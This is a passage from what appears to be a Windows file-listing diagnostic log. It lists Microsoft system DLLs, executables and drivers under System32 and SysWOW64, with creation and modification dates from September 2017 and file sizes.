      2017-09-13 07:05 - 2017-09-05 07:15 - 000636416 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WpcWebFilter.dll
      2017-09-13 07:05 - 2017-09-05 07:15 - 000430592 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winspool.drv
      2017-09-13 07:05 - 2017-09-05 07:15 - 000223744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shdocvw.dll
      2017-09-13 07:05 - 2017-09-05 07:14 - 000754176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kerberos.dll
      2017-09-13 07:05 - 2017-09-05 07:14 - 000590336 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PCPKsp.dll
      2017-09-13 07:05 - 2017-09-05 07:14 - 000476160 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dsreg.dll
      2017-09-13 07:05 - 2017-09-05 07:13 - 007598080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mstscax.dll
      2017-09-13 07:05 - 2017-09-05 07:13 - 000050176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\cldapi.dll
      2017-09-13 07:05 - 2017-09-05 07:12 - 005225984 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d2d1.dll
      2017-09-13 07:05 - 2017-09-05 07:12 - 002859520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininet.dll
      2017-09-13 07:05 - 2017-09-05 07:12 - 000899584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.appcore.dll
      2017-09-13 07:05 - 2017-09-05 07:11 - 003667456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\D3DCompiler_47.dll
      2017-09-13 07:05 - 2017-09-05 07:11 - 001355264 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\OpcServices.dll
      2017-09-13 07:05 - 2017-09-05 07:11 - 001060352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XpsPrint.dll
      2017-09-13 07:05 - 2017-09-05 07:11 - 001019904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\aadtb.dll
      2017-09-13 07:05 - 2017-09-05 07:11 - 000787456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wuapi.dll
      2017-09-13 07:05 - 2017-09-05 07:10 - 004559360 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dbgeng.dll
      2017-09-13 07:05 - 2017-09-05 07:10 - 001627136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\urlmon.dll
      2017-09-13 07:05 - 2017-09-05 07:10 - 000761344 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rasapi32.dll
      2017-09-13 07:05 - 2017-09-05 07:10 - 000431616 _____ (Microsoft Corporation) C:\WINDOWS\system32\BthHFSrv.dll
      2017-09-13 07:05 - 2017-09-05 07:06 - 000221696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wisp.dll
      2017-09-13 07:05 - 2017-09-05 07:06 - 000089088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\olepro32.dll
      2017-09-13 07:05 - 2017-09-05 07:04 - 000175616 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\RstrtMgr.dll
      2017-09-13 07:05 - 2017-09-05 07:04 - 000057856 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\offreg.dll
      2017-09-13 07:04 - 2017-09-05 08:27 - 002399728 _____ (Microsoft Corporation) C:\WINDOWS\system32\KernelBase.dll
      2017-09-13 07:04 - 2017-09-05 08:27 - 000136096 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ksecdd.sys
      2017-09-13 07:04 - 2017-09-05 08:25 - 002969880 _____ (Microsoft Corporation) C:\WINDOWS\system32\CoreUIComponents.dll
      2017-09-13 07:04 - 2017-09-05 08:24 - 000519584 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\netio.sys
      2017-09-13 07:04 - 2017-09-05 08:23 - 001242528 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndis.sys
      2017-09-13 07:04 - 2017-09-05 08:18 - 000820128 _____ (Microsoft Corporation) C:\WINDOWS\system32\WWAHost.exe
      2017-09-13 07:04 - 2017-09-05 08:17 - 000316320 _____ (Microsoft Corporation) C:\WINDOWS\system32\WerFault.exe
      2017-09-13 07:04 - 2017-09-05 08:16 - 000724200 _____ (Microsoft Corporation) C:\WINDOWS\system32\wer.dll
      2017-09-13 07:04 - 2017-09-05 08:16 - 000546208 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\storport.sys
      2017-09-13 07:04 - 2017-09-05 08:16 - 000410168 _____ (Microsoft Corporation) C:\WINDOWS\system32\Faultrep.dll
      2017-09-13 07:04 - 2017-09-05 08:16 - 000182688 _____ (Microsoft Corporation) C:\WINDOWS\system32\wermgr.exe
      2017-09-13 07:04 - 2017-09-05 08:14 - 004708504 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfcore.dll
      2017-09-13 07:04 - 2017-09-05 08:14 - 001146176 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfds.dll
      2017-09-13 07:04 - 2017-09-05 08:14 - 000958664 _____ (Microsoft Corporation) C:\WINDOWS\system32\msvproc.dll
      2017-09-13 07:04 - 2017-09-05 08:14 - 000254176 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfps.dll
      2017-09-13 07:04 - 2017-09-05 08:14 - 000094624 _____ (Microsoft Corporation) C:\WINDOWS\system32\rdpudd.dll
      2017-09-13 07:04 - 2017-09-05 08:11 - 002675104 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tcpip.sys
      2017-09-13 07:04 - 2017-09-05 08:11 - 000610720 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\afd.sys
      2017-09-13 07:04 - 2017-09-05 08:11 - 000387936 _____ (Microsoft Corporation) C:\WINDOWS\system32\wmpps.dll
      2017-09-13 07:04 - 2017-09-05 07:53 - 001620880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntdll.dll
      2017-09-13 07:04 - 2017-09-05 07:45 - 023679488 _____ (Microsoft Corporation) C:\WINDOWS\system32\edgehtml.dll
      2017-09-13 07:04 - 2017-09-05 07:29 - 000037376 _____ (Microsoft Corporation) C:\WINDOWS\system32\SEMgrPS.dll
      2017-09-13 07:04 - 2017-09-05 07:27 - 000104960 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\UcmCx.sys
      2017-09-13 07:04 - 2017-09-05 07:27 - 000095232 _____ (Microsoft Corporation) C:\WINDOWS\system32\wudriver.dll
      2017-09-13 07:04 - 2017-09-05 07:27 - 000029696 _____ (Microsoft Corporation) C:\WINDOWS\system32\odbcconf.dll
      2017-09-13 07:04 - 2017-09-05 07:26 - 000084992 _____ (Microsoft Corporation) C:\WINDOWS\system32\MshtmlDac.dll
      2017-09-13 07:04 - 2017-09-05 07:26 - 000064000 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntprint.exe
      2017-09-13 07:04 - 2017-09-05 07:26 - 000022016 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpnpinst.exe
      2017-09-13 07:04 - 2017-09-05 07:25 - 000043520 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\nsiproxy.sys
      2017-09-13 07:04 - 2017-09-05 07:24 - 000457728 _____ (Microsoft Corporation) C:\WINDOWS\system32\webplatstorageserver.dll
      2017-09-13 07:04 - 2017-09-05 07:24 - 000353280 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntprint.dll
      2017-09-13 07:04 - 2017-09-05 07:24 - 000334336 _____ (Microsoft Corporation) C:\WINDOWS\system32\wc_storage.dll
      2017-09-13 07:04 - 2017-09-05 07:24 - 000182272 _____ (Microsoft Corporation) C:\WINDOWS\system32\ngcrecovery.dll
      2017-09-13 07:04 - 2017-09-05 07:24 - 000096256 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtmled.dll
      2017-09-13 07:04 - 2017-09-05 07:23 - 020509184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edgehtml.dll
      2017-09-13 07:04 - 2017-09-05 07:23 - 000140288 _____ (Microsoft Corporation) C:\WINDOWS\system32\iepeers.dll
      2017-09-13 07:04 - 2017-09-05 07:23 - 000107008 _____ (Microsoft Corporation) C:\WINDOWS\system32\ngcpopkeysrv.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 023684608 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000640512 _____ (Microsoft Corporation) C:\WINDOWS\system32\ngccredprov.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000477696 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasplap.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000458752 _____ (Microsoft Corporation) C:\WINDOWS\system32\NgcCtnr.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000388096 _____ (Microsoft Corporation) C:\WINDOWS\system32\iedkcs32.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000327168 _____ (Microsoft Corporation) C:\WINDOWS\system32\WinBioDataModel.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000274944 _____ (Microsoft Corporation) C:\WINDOWS\system32\dxtrans.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000225792 _____ (Microsoft Corporation) C:\WINDOWS\system32\ie4uinit.exe
      2017-09-13 07:04 - 2017-09-05 07:22 - 000173568 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetpp.dll
      2017-09-13 07:04 - 2017-09-05 07:22 - 000165888 _____ (Microsoft Corporation) C:\WINDOWS\system32\storewuauth.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 001051136 _____ (Microsoft Corporation) C:\WINDOWS\system32\nettrace.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 000946688 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasgcw.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 000422400 _____ (Microsoft Corporation) C:\WINDOWS\system32\WpAXHolder.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 000408576 _____ (Microsoft Corporation) C:\WINDOWS\system32\cryptngc.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 000312320 _____ (Microsoft Corporation) C:\WINDOWS\system32\Phoneutil.dll
      2017-09-13 07:04 - 2017-09-05 07:21 - 000064000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MshtmlDac.dll
      2017-09-13 07:04 - 2017-09-05 07:20 - 000805888 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieproxy.dll
      2017-09-13 07:04 - 2017-09-05 07:20 - 000546816 _____ (Microsoft Corporation) C:\WINDOWS\system32\winspool.drv
      2017-09-13 07:04 - 2017-09-05 07:19 - 019336192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll
      2017-09-13 07:04 - 2017-09-05 07:19 - 000124928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iepeers.dll
      2017-09-13 07:04 - 2017-09-05 07:19 - 000080384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtmled.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 012801536 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 002078720 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetcpl.cpl
      2017-09-13 07:04 - 2017-09-05 07:18 - 000921600 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasdlg.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000832000 _____ (Microsoft Corporation) C:\WINDOWS\system32\printfilterpipelinesvc.exe
      2017-09-13 07:04 - 2017-09-05 07:18 - 000752640 _____ (Microsoft Corporation) C:\WINDOWS\system32\msfeeds.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000491520 _____ (Microsoft Corporation) C:\WINDOWS\system32\NgcCtnrSvc.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000339968 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iedkcs32.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000266240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dxtrans.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000257024 _____ (Microsoft Corporation) C:\WINDOWS\system32\webcheck.dll
      2017-09-13 07:04 - 2017-09-05 07:18 - 000176640 _____ (Microsoft Corporation) C:\WINDOWS\system32\wersvc.dll
      2017-09-13 07:04 - 2017-09-05 07:17 - 008213504 _____ (Microsoft Corporation) C:\WINDOWS\system32\mstscax.dll
      2017-09-13 07:04 - 2017-09-05 07:17 - 008207872 _____ (Microsoft Corporation) C:\WINDOWS\system32\Chakra.dll
      2017-09-13 07:04 - 2017-09-05 07:17 - 000757760 _____ (Microsoft Corporation) C:\WINDOWS\system32\spoolsv.exe
      2017-09-13 07:04 - 2017-09-05 07:16 - 000358400 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieproxy.dll
      2017-09-13 07:04 - 2017-09-05 07:15 - 004730368 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript9.dll
      2017-09-13 07:04 - 2017-09-05 07:15 - 001143296 _____ (Microsoft Corporation) C:\WINDOWS\system32\localspl.dll
      2017-09-13 07:04 - 2017-09-05 07:15 - 000664576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msfeeds.dll
      2017-09-13 07:04 - 2017-09-05 07:15 - 000232960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\webcheck.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 011887104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 002516480 _____ (Microsoft Corporation) C:\WINDOWS\system32\diagtrack.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 001657344 _____ (Microsoft Corporation) C:\WINDOWS\system32\XpsPrint.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 001583616 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieapfltr.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 001046016 _____ (Microsoft Corporation) C:\WINDOWS\system32\ngcsvc.dll
      2017-09-13 07:04 - 2017-09-05 07:14 - 000827904 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32spl.dll
      2017-09-13 07:04 - 2017-09-05 07:13 - 002009600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\inetcpl.cpl
      2017-09-13 07:04 - 2017-09-05 07:12 - 006265856 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Chakra.dll
      2017-09-13 07:04 - 2017-09-05 07:11 - 003654656 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9.dll
      2017-09-13 07:04 - 2017-09-05 07:11 - 001463296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieapfltr.dll
      2017-09-13 07:04 - 2017-09-05 07:06 - 000078848 _____ (Microsoft Corporation) C:\WINDOWS\system32\offreg.dll
      2017-09-13 07:03 - 2017-09-05 08:31 - 001596592 _____ (Microsoft Corporation) C:\WINDOWS\system32\gdi32full.dll
      2017-09-13 07:03 - 2017-09-05 08:31 - 001346112 _____ (Microsoft Corporation) C:\WINDOWS\system32\user32.dll
      2017-09-13 07:03 - 2017-09-05 08:31 - 001147296 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvix64.exe
      2017-09-13 07:03 - 2017-09-05 08:31 - 001024928 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvax64.exe
      2017-09-13 07:03 - 2017-09-05 08:31 - 000821664 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvloader.exe
      2017-09-13 07:03 - 2017-09-05 08:31 - 000750560 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontdrvhost.exe
      2017-09-13 07:03 - 2017-09-05 08:31 - 000115792 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32u.dll
      2017-09-13 07:03 - 2017-09-05 08:26 - 008319904 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe
      2017-09-13 07:03 - 2017-09-05 08:26 - 001930840 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntdll.dll
      2017-09-13 07:03 - 2017-09-05 08:25 - 000159648 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\partmgr.sys
      2017-09-13 07:03 - 2017-09-05 08:24 - 000923040 _____ (Microsoft Corporation) C:\WINDOWS\system32\CoreMessaging.dll
      2017-09-13 07:03 - 2017-09-05 08:23 - 004462120 _____ (Microsoft Corporation) C:\WINDOWS\system32\setupapi.dll
      2017-09-13 07:03 - 2017-09-05 08:20 - 001057824 _____ (Microsoft Corporation) C:\WINDOWS\system32\MrmCoreR.dll
      2017-09-13 07:03 - 2017-09-05 08:19 - 004848960 _____ (Microsoft Corporation) C:\WINDOWS\explorer.exe
      2017-09-13 07:03 - 2017-09-05 08:19 - 002443168 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgkrnl.sys
      2017-09-13 07:03 - 2017-09-05 08:18 - 007326128 _____ (Microsoft Corporation) C:\WINDOWS\system32\windows.storage.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 005477096 _____ (Microsoft Corporation) C:\WINDOWS\system32\OneCoreUAPCommonProxyStub.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 002972552 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3d10warp.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 002647224 _____ (Microsoft Corporation) C:\WINDOWS\system32\iertutil.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 001668344 _____ (Microsoft Corporation) C:\WINDOWS\system32\propsys.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 000685512 _____ (Microsoft Corporation) C:\WINDOWS\system32\SHCore.dll
      2017-09-13 07:03 - 2017-09-05 08:18 - 000212384 _____ (Microsoft Corporation) C:\WINDOWS\system32\browserbroker.dll
      2017-09-13 07:03 - 2017-09-05 08:16 - 001320344 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpx.dll
      2017-09-13 07:03 - 2017-09-05 08:16 - 000872472 _____ (Microsoft Corporation) C:\WINDOWS\system32\ClipSVC.dll
      2017-09-13 07:03 - 2017-09-05 08:16 - 000715168 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\fvevol.sys
      2017-09-13 07:03 - 2017-09-05 08:16 - 000228256 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxsmb20.sys
      2017-09-13 07:03 - 2017-09-05 08:16 - 000049720 _____ (Microsoft Corporation) C:\WINDOWS\system32\tbs.dll
      2017-09-13 07:03 - 2017-09-05 08:15 - 003116184 _____ (Microsoft Corporation) C:\WINDOWS\system32\combase.dll
      2017-09-13 07:03 - 2017-09-05 08:15 - 000871448 _____ (Microsoft Corporation) C:\WINDOWS\system32\winhttp.dll
      2017-09-13 07:03 - 2017-09-05 08:15 - 000654976 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentClient.dll
      2017-09-13 07:03 - 2017-09-05 08:15 - 000381824 _____ (Microsoft Corporation) C:\WINDOWS\system32\wevtapi.dll
      2017-09-13 07:03 - 2017-09-05 08:15 - 000257440 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppxAllUserStore.dll
      2017-09-13 07:03 - 2017-09-05 08:14 - 021352656 _____ (Microsoft Corporation) C:\WINDOWS\system32\shell32.dll
      2017-09-13 07:03 - 2017-09-05 08:14 - 007907344 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Protection.PlayReady.dll
      2017-09-13 07:03 - 2017-09-05 08:13 - 001619816 _____ (Microsoft Corporation) C:\WINDOWS\system32\sppobjs.dll
      2017-09-13 07:03 - 2017-09-05 08:13 - 000078240 _____ (Microsoft Corporation) C:\WINDOWS\system32\SyncAppvPublishingServer.exe
      2017-09-13 07:03 - 2017-09-05 08:13 - 000064680 _____ (Microsoft Corporation) C:\WINDOWS\system32\appidapi.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 002229152 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntSubsystems64.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 001854880 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntVirtualization.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 001693600 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVIntegration.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 001462688 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntSubsystemController.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000855456 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVOrchestration.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000849824 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVClient.exe
      2017-09-13 07:03 - 2017-09-05 08:12 - 000844704 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntStreamingManager.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000774560 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVReporting.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000699808 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVCatalog.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000674720 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVPublishing.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000406944 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVScripting.dll
      2017-09-13 07:03 - 2017-09-05 08:12 - 000235424 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVShNotify.exe
      2017-09-13 07:03 - 2017-09-05 08:12 - 000203680 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVStreamingUX.dll
      2017-09-13 07:03 - 2017-09-05 07:31 - 003668992 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kfull.sys
      2017-09-13 07:03 - 2017-09-05 07:30 - 001639936 _____ (Microsoft Corporation) C:\WINDOWS\system32\GdiPlus.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 001275904 _____ (Microsoft Corporation) C:\WINDOWS\system32\werconcpl.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 000584192 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIRibbonRes.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 000463360 _____ (Microsoft Corporation) C:\WINDOWS\system32\werui.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 000447488 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32k.sys
      2017-09-13 07:03 - 2017-09-05 07:30 - 000184320 _____ (Microsoft Corporation) C:\WINDOWS\system32\DWWIN.EXE
      2017-09-13 07:03 - 2017-09-05 07:30 - 000093184 _____ (Microsoft Corporation) C:\WINDOWS\system32\wercplsupport.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 000089088 _____ (Microsoft Corporation) C:\WINDOWS\system32\winsrvext.dll
      2017-09-13 07:03 - 2017-09-05 07:30 - 000077824 _____ (Microsoft Corporation) C:\WINDOWS\system32\wsqmcons.exe
      2017-09-13 07:03 - 2017-09-05 07:28 - 017371136 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Xaml.dll
      2017-09-13 07:03 - 2017-09-05 07:28 - 002199552 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Xaml.Resources.dll
      2017-09-13 07:03 - 2017-09-05 07:27 - 007931392 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.dll
      2017-09-13 07:03 - 2017-09-05 07:27 - 000133632 _____ (Microsoft Corporation) C:\WINDOWS\system32\CfgSPCellular.dll
      2017-09-13 07:03 - 2017-09-05 07:27 - 000131584 _____ (Microsoft Corporation) C:\WINDOWS\system32\EnterpriseAPNCsp.dll
      2017-09-13 07:03 - 2017-09-05 07:27 - 000090112 _____ (Microsoft Corporation) C:\WINDOWS\system32\datamarketsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:27 - 000064000 _____ (Microsoft Corporation) C:\WINDOWS\system32\wups.dll
      2017-09-13 07:03 - 2017-09-05 07:26 - 000499712 _____ (Microsoft Corporation) C:\WINDOWS\system32\nltest.exe
      2017-09-13 07:03 - 2017-09-05 07:26 - 000156160 _____ (Microsoft Corporation) C:\WINDOWS\system32\csplte.dll
      2017-09-13 07:03 - 2017-09-05 07:26 - 000142848 _____ (Microsoft Corporation) C:\WINDOWS\system32\srpapi.dll
      2017-09-13 07:03 - 2017-09-05 07:26 - 000124928 _____ (Microsoft Corporation) C:\WINDOWS\system32\httpprxm.dll
      2017-09-13 07:03 - 2017-09-05 07:26 - 000113152 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuuhosdeployment.dll
      2017-09-13 07:03 - 2017-09-05 07:25 - 000584192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIRibbonRes.dll
      2017-09-13 07:03 - 2017-09-05 07:25 - 000527872 _____ (Microsoft Corporation) C:\WINDOWS\system32\daxexec.dll
      2017-09-13 07:03 - 2017-09-05 07:25 - 000064512 _____ (Microsoft Corporation) C:\WINDOWS\system32\winsrv.dll
      2017-09-13 07:03 - 2017-09-05 07:25 - 000043520 _____ (Microsoft Corporation) C:\WINDOWS\system32\TpmTasks.dll
      2017-09-13 07:03 - 2017-09-05 07:24 - 000385536 _____ (Microsoft Corporation) C:\WINDOWS\system32\tpmvsc.dll
      2017-09-13 07:03 - 2017-09-05 07:24 - 000274432 _____ (Microsoft Corporation) C:\WINDOWS\system32\authz.dll
      2017-09-13 07:03 - 2017-09-05 07:24 - 000160768 _____ (Microsoft Corporation) C:\WINDOWS\system32\dinput.dll
      2017-09-13 07:03 - 2017-09-05 07:24 - 000109056 _____ (Microsoft Corporation) C:\WINDOWS\system32\dab.dll
      2017-09-13 07:03 - 2017-09-05 07:23 - 000739840 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhoneProviders.dll
      2017-09-13 07:03 - 2017-09-05 07:23 - 000450048 _____ (Microsoft Corporation) C:\WINDOWS\system32\bcdedit.exe
      2017-09-13 07:03 - 2017-09-05 07:23 - 000433664 _____ (Microsoft Corporation) C:\WINDOWS\system32\msIso.dll
      2017-09-13 07:03 - 2017-09-05 07:23 - 000305152 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\netbt.sys
      2017-09-13 07:03 - 2017-09-05 07:23 - 000138752 _____ (Microsoft Corporation) C:\WINDOWS\system32\appinfo.dll
      2017-09-13 07:03 - 2017-09-05 07:23 - 000128512 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasman.dll
      2017-09-13 07:03 - 2017-09-05 07:22 - 000556032 _____ (Microsoft Corporation) C:\WINDOWS\system32\TpmCoreProvisioning.dll
      2017-09-13 07:03 - 2017-09-05 07:22 - 000527360 _____ (Microsoft Corporation) C:\WINDOWS\system32\aadcloudap.dll
      2017-09-13 07:03 - 2017-09-05 07:22 - 000413184 _____ (Microsoft Corporation) C:\WINDOWS\system32\profsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:22 - 000329728 _____ (Microsoft Corporation) C:\WINDOWS\system32\RasMediaManager.dll
      2017-09-13 07:03 - 2017-09-05 07:22 - 000213504 _____ (Microsoft Corporation) C:\WINDOWS\system32\dinput8.dll
      2017-09-13 07:03 - 2017-09-05 07:21 - 000773120 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhoneService.dll
      2017-09-13 07:03 - 2017-09-05 07:21 - 000691712 _____ (Microsoft Corporation) C:\WINDOWS\system32\tdh.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 007337472 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Data.Pdf.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 001878016 _____ (Microsoft Corporation) C:\WINDOWS\system32\AzureSettingSyncProvider.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 000925696 _____ (Microsoft Corporation) C:\WINDOWS\system32\WpcWebFilter.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 000412160 _____ (Microsoft Corporation) C:\WINDOWS\system32\ActivationManager.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 000282112 _____ (Microsoft Corporation) C:\WINDOWS\system32\dnsrslvr.dll
      2017-09-13 07:03 - 2017-09-05 07:20 - 000229888 _____ (Microsoft Corporation) C:\WINDOWS\system32\SIHClient.exe
      2017-09-13 07:03 - 2017-09-05 07:19 - 001260544 _____ (Microsoft Corporation) C:\WINDOWS\system32\GamePanel.exe
      2017-09-13 07:03 - 2017-09-05 07:19 - 001085440 _____ (Microsoft Corporation) C:\WINDOWS\system32\rpcss.dll
      2017-09-13 07:03 - 2017-09-05 07:19 - 001028608 _____ (Microsoft Corporation) C:\WINDOWS\system32\modernexecserver.dll
      2017-09-13 07:03 - 2017-09-05 07:19 - 000996864 _____ (Microsoft Corporation) C:\WINDOWS\system32\iphlpsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:19 - 000772096 _____ (Microsoft Corporation) C:\WINDOWS\system32\PCPKsp.dll
      2017-09-13 07:03 - 2017-09-05 07:19 - 000772096 _____ (Microsoft Corporation) C:\WINDOWS\system32\netlogon.dll
      2017-09-13 07:03 - 2017-09-05 07:19 - 000243712 _____ (Microsoft Corporation) C:\WINDOWS\system32\shdocvw.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 004175872 _____ (Microsoft Corporation) C:\WINDOWS\system32\StartTileData.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 000922112 _____ (Microsoft Corporation) C:\WINDOWS\system32\kerberos.dll
